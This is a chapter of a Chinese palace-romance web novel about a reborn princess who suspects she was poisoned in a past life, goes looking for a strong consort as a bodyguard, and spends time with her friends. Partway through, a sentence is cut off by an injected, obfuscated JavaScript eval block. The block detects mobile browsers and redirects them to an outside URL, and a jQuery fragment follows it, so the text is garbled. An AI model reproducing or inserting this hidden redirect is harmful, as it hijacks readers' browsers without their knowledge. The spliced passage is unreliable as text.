回到长乐宫时已是夜晚,东宫事务繁忙,姜宝来不想让胞兄分出精力操心自己的事,因此对自己重活一世的事只字不提。但这也不代表她是个任人宰割的。
至于多吉与她的心腹侍女更加不用多嘱咐,胞兄从来不会插手进她的这些忠仆中。
远远地公主府的随侍们瞧见门前的镇宅狮下站了一个人,那人一动不动站在原地,仿佛是多出来的另一座石狮,直到瞧见公主下了步辇,那座“石狮”才小跑了过来。
姜宝来看是魏翊宁身边的时安,还未等开口,那边时安又从旁处的驴子上卸下了一筐时鲜的桃子。
时安辑礼道:“郎君遣我来瞧瞧公主安危。近日坊中莫名多出来一伙盗贼,郎君一直在处理此事。因此今日长公主设宴未能准时赴宴。”
姜宝来疲倦地打了个呵欠,又听时安道:“郎君说了,这桃儿若公主不收,时安就跟驴子不用归府了。”
她稍稍抬眼朝竹筐里一望,看着个个饱满个大的白桃,困意忽然来袭,懒洋洋地道:“本公主好着呢!”说着便朝府邸里走去。
时安怔在原地,一时也拿不准主意这筐郎君从果农的园子里一个个亲自摘下的桃儿公主到底是收不收下。
多吉已笑眯眯地接了过来,并道:“天色不早了,家去吧。”
时安立时赶感到欣喜又如释重负,辑礼过后忙带着驴子头也不回地走了。
姜宝来去了浴堂舒舒服服沐浴一番,待覃楹服侍着出了浴堂,雾萝已将冰镇的石冻春呈了上来。
这是她的习惯。
覃楹雾萝两个看着窝在凉台美人靠上,抱着一壶清酒的公主神思不知游向了何处。实则姜宝来已将上一世在御苑宴会上能接触的人家世背景通通冥想了一通。那吐血中毒的感觉仍然让她心有余悸,极其难受。
是为情被杀?还是哪日不留神瞧见了哪个奸佞小人的阖府秘辛?别看这些王公贵族一个个表面光鲜亮丽的,若是翻了家底指不定怎么腌臜龌龊呢!
或是那姚芳好?
姜宝来斜倚在美人靠上,没忍住脱口而出一声“狗贼”。
雾萝吓得一激灵,很快又听公主道:“去取琵琶来。”
长明帝对于教导子女这一块从不分男儿与女儿,皇子们会的骑射、书法、音律等,大明宫里唯一的一位小公主也一样会。
雾萝很快取了琵琶复返,姜宝来有一搭没一搭地撩着琴弦,覃楹怕她受凉又罩了一层薄纱在她身后。
雾萝道:“公主,不若婢子取了话本子来说给你听?这民间的话本子最好看了。里面俊男靓女难舍难分,故事曲折离奇。还有那探花郎……”
姜宝来撩琴弦的手蓦地停了下来,抬眸瞧她一眼:“这探花郎给你灌迷魂汤了?”
雾萝看着公主的面不改色,心道这不对啊!长安儿郎里,公主这些年除了对魏郎君有过赞赏什么时候多问过他人一句。
但今日可是问了好几回那程郎君呢!
况且公主金尊玉贵,除这些侍女们从不让他人近身,今日虽事急从权让那程郎君近了公主的身,但公主是一点也没怪罪。
姜宝来见她面上变化多端,抬起芊芊玉手毫不留情面地在她额头一弹,又将琵琶朝她怀里一塞。转头招呼过覃楹附耳吩咐了几句。覃楹面色闪过一阵诧异很快应诺去了。
她又嘱咐多吉多加一些人手在府里巡逻,令外在挑上身手矫捷的暗卫夜晚轮番把守各个院落。
多吉目露担心,但只要她不说多吉向来不会多问一句。她笑了笑表示无事。
隔了两日傍晚,姜宝来在摇椅上打盹。侍女们在殿中喷洒着蔷薇香露,公主最爱干净最爱身上香喷喷的。覃楹也依令带回了一摞卷轴。
姜宝来在凉台的小桌案就着月光摊开,她再不敢直视那一池碧波,只是莫名的对荷花恐惧,但也没让人填了池塘。
雾萝摇着凉扇好奇公主平常很喜欢赏荷如今却总是背对着荷塘。
除覃楹雾萝外,其余侍女们也一同围了上来。见是一些画像,皆是长安城中自门阀世族的俊俏儿郎画像。
覃楹想着前两日公主的交代,画像上的人要身材魁梧的还要俊俏漂亮的,能让她赏心悦目的画。
她身为公主的侍女、长乐宫的掌事就是满足公主一切所需无需多问。
雾萝自以为公主在找什么人,驸马吗倒是不太可能,这些年陛下张罗公主的婚事,公主一个没有看上眼的,倒是有一个三缄其口的,却也一直没应。
想到此雾萝又眼皮一跳,心直口快问了出来:“公主再找何人?”
姜宝来头也不抬摊开一幅幅卷轴,紧皱着好看的眉头:“选驸马!”
雾萝再吃了一惊。心道这驸马的准人选不是正有个现成的吗?又见公主皱眉,说这个太糙,那个不俊,那个没眼缘。
覃楹目露疑惑,按照公主的交待这些都是力大如牛高大强壮的而且都是出自军中的武将。
雾萝摇着凉扇,似随口说了一句:“奴婢想起倒是还有一人。”
姜宝来饮了一口乌梅饮刚刚入座,又听雾萝道:“金吾卫中郎将魏公子啊!”
姜宝来摸着下巴似乎真的认真思考了一番。但魏翊扬嘛?她早就想过了。身量是很高大,只是太瘦了。还有,倘若那毒死她的狗贼还没找到,暗的行不通便来明的,他若被射成了筛子岂不得不偿失?
她想要个与她井水不犯河水的肉盾。
魁梧最重要!
但一想到军中那些糙汉子,满脸的胡茬,粗蛮不修边幅。姜宝来又无力坐了下去,耷拉下眼皮。
若是能有一个浑身香香的、干干净净的、风趣又温雅的,能替她挡一挡防不胜防的那些明枪暗箭,那就好了。
-
姜宝来一觉睡到了日上三竿,这一夜却睡得极其不安稳。
一会儿梦见了上一世的荷香宴她吃得大快朵颐回公主府中了毒,一会儿梦见黑白无常来了她的长乐宫勾她的魂索他的命。最后黑白无常变成了姚芳好,在她的闺房里满眼愤怒地死死掐住她的脖子咆哮:姜宝来,我要你死!我要你死!
里衣湿了一大片,黏腻腻地贴在了身上。姜宝来蓦然从帐子内惊坐了起来,已是满头大汗。
覃楹先掀了床幔还未等开口,公主已赤足下了床去了浴堂。并吩咐道:“去,带上姚芳好,本公主要打马球!”
一桌子的山珍海味,姜宝来只草草用了一餐,她喜欢骑射也喜欢打马球,若是一日三餐每一餐都要慢条斯理地享用,那这马球她也不用打了。
姜宝来最后狠狠咬了一口香喷喷的胡饼,这一日也没乘步辇,骑上她心爱的小白马就去了城北的马球场。
嘉福公主骑在马背上手握着鞠杖从未时初打到了申时末。
球场内长时间站立在原地端着茶水,仿佛风一吹就会吹走的美人,终是体力不支晕厥了过去。
侍女在旁惶惶不安,双手将将扶住了姚芳好,一面腿打着哆嗦一面喊道:“小姐——”
姜宝来肩扛着鞠杖也没下马慢悠悠走了过来,眼里的冷淡就如长安十一月的飞雪,她面色不虞道:“姚芳好,你信不信这一棍我能从马球场给你打到东市去?”
姚芳好干裂的嘴唇在面纱下一张一翕,看着马背上的盛气凌人的天之骄女终是一句话没说出来。
姜宝来笑吟吟:“我不信。要不试一试?”而后又蓦地一声厉语:“少把你的花花肠子主意打到我身上!”
姜宝来下了马扬长而去。侍女在一旁气得浑身哆嗦,直到看见公主走了才愤道:“这个公主当真……当真跋扈至极!”
姜宝来接过雾萝递上来的巾帕拭汗,覃楹上前询问可要回公主府。
她抬眼看了看天色,见穿透云层的余晖一时兴起生了夜游曲江的心:“时辰还早着,去瞧瞧文君和顾绮可在府里,若是在请她们来画舫用膳吧。”
-
嘉福公主的伴读——顾绮。魏家夫人崔氏的外甥女,顾绮自幼父母早逝崔氏怜惜幼年失去双亲的外甥女,又因膝下无女,便将顾绮留在了魏家。顾绮多年来对这个明珠般浑身充满生命力的小公主自幼便很是崇拜,时常形影不离的跟随。
而另一公主的伴读——杨文君,其祖父正是负责教导、辅佐东宫太子的杨太傅——当朝鸿儒硕学的杨相公杨恩先。官拜中书令同时兼任太子太傅一职,杨太傅出身弘农杨氏却很是重视寒门士子,门生广泛,桃李
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288388|198480||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
满天下。
杨文君上还有一个姐姐杨湘君,四年前嫁给了鸿胪寺卿沈川。
公主临时在曲江池的画舫上用膳,覃楹便带着若干侍女回了公主府准备吃食。顾绮正想着这两日约上杨文君去公主府探望公主,表哥这两日在她耳边叨叨不停,今日公主却主动相邀自是兴致勃勃前来。
顾绮瞧着公主笑意盈盈,开口道:“今日公主有兴致来画舫用饭,定是开心极了。”
姜宝来点点头。是啊,她可真开心啊!她都开心‘死’了,死在了这一年的十八岁,生辰方过。
两个姑娘又听雾萝说前两日公主是因没用朝食所致晕了过去,顾绮一手不停朝嘴里塞着点心又不禁相劝:“公主也要好好吃饭啊!臣女还真的以为公主生病了。”
姜宝来一手握着酒盏,笑盈盈地吹着湖风:“我能有什么事,不过我接下来要做的事可多了。”
顾绮听罢与杨文君一对视双双两个脑袋凑了过来:“什么事?”
姜宝来随意地心不在焉地道了一句:“选驸马啊!”
顾绮闻言吃着糕点猛地一噎,连着咳了好一会儿,杨文君倒了两盏茶才缓过神来,结巴道:“选……选驸马……公主,那未来的驸马爷……魏表哥……该如何是好啊!”
杨文君见顾绮因激动一时面红耳赤,平日里去公主府喜爱吃的糕点也再不动一块有些想笑,不知怎么脱口而出一句:“可你那魏表哥前面还有个根本没影子的真驸马啊!”
杨文君又见公主未制止,仿佛在认真地听,便再道:“这当年可是有先帝圣旨的。淮南王那般英勇的一个人还不知道若他有个儿子该是何等才智出众呢!或是有个女儿……”
“你快打住,小心隔墙有耳。”顾绮听到这个曾令普天之下敏感的名讳当即制止,又左右瞧了瞧:“这街坊里哄骗哭闹的小儿,大人们只要开口说饿鬼苏祈安来了,再如何哭得小儿都会立即止啼。别说了。”
杨文君捏了一块糕点塞到了顾绮的口中,又亲自给公主倒了一盏石冻春:“这不是想给公主解解闷嘛!”
姜宝来用了一口菜团子,忽地问:“近来可有见过湘君姐姐?”
杨文君想了想,如实道:“倒是有好一阵子没见到姐姐了。”
说起这事儿,杨文君又是不免一叹:“姐夫对姐姐原本那般好,后来为了那些寒门士子出头,被人伤了腿,从此一蹶不振,这凶手到现在也没有抓到。”
“阿耶为了家族的名声也是一味的让姐姐忍,祖父实在看不过去前阵子找了姐姐的公公说了一通,谁想姐夫冥顽不灵那日抓起房里的花瓶就朝姐姐掷了过去。”
“啪”地一声响,两个姑娘只见公主本是握箸的手猛地拍到了食案上。
杨文君见公主发怒,声音渐渐低了下去:“……后来姐夫吃醉了酒,在酒楼又不知怎么被人打了一通。”
姜宝来仍然是笑盈盈地,但亲近她的人知道公主这个时候往往是动了怒,很快又听她道:“好啊!这个沈川!”
-
晚膳还未尽兴,天幕便落了一场夕阳雨。但三个姑娘也觉得用得差不多了,便没有了在画舫停留的心思。
顾绮与杨文君各回各府。姜宝来从公主府出来时骑得马,回府时却是乘的步辇。
这场晴天雨来得急,街市里的行人没撑伞的许多躲到了商铺的檐下。姜宝来托着腮望着这场骤雨,渐渐地又将目光移到了一间书肆外。
这个时辰了,去书肆买书的人并不多。比起商铺下站满的人,那间书肆狭窄的屋檐下只站了一个躲雨的素衣郎君。雨滴落在了那郎君的鼻骨,白皙清透的面容上。郎君长身玉立,一半肩骨暴露在了雨中,也打湿了他的一身天青色素衣。
姜宝来一双秀眉蓦地一挑,突地伸手道:“伞。”
走在步辇下的雾萝立时将手中的竹伞递了过去,并与覃楹挤在了一处。又听公主道:“停。”
步辇猝然间停了下来,绵绵细雨中,姜宝来接过那把竹伞从銮驾上递了过去,并朝那素衣郎君道:“程子煦?”
一缕幽幽香气自銮驾上传来吸入鼻间,程晚很快垂下了眸,辑礼道:“程某在。”
姜宝来:“送你。”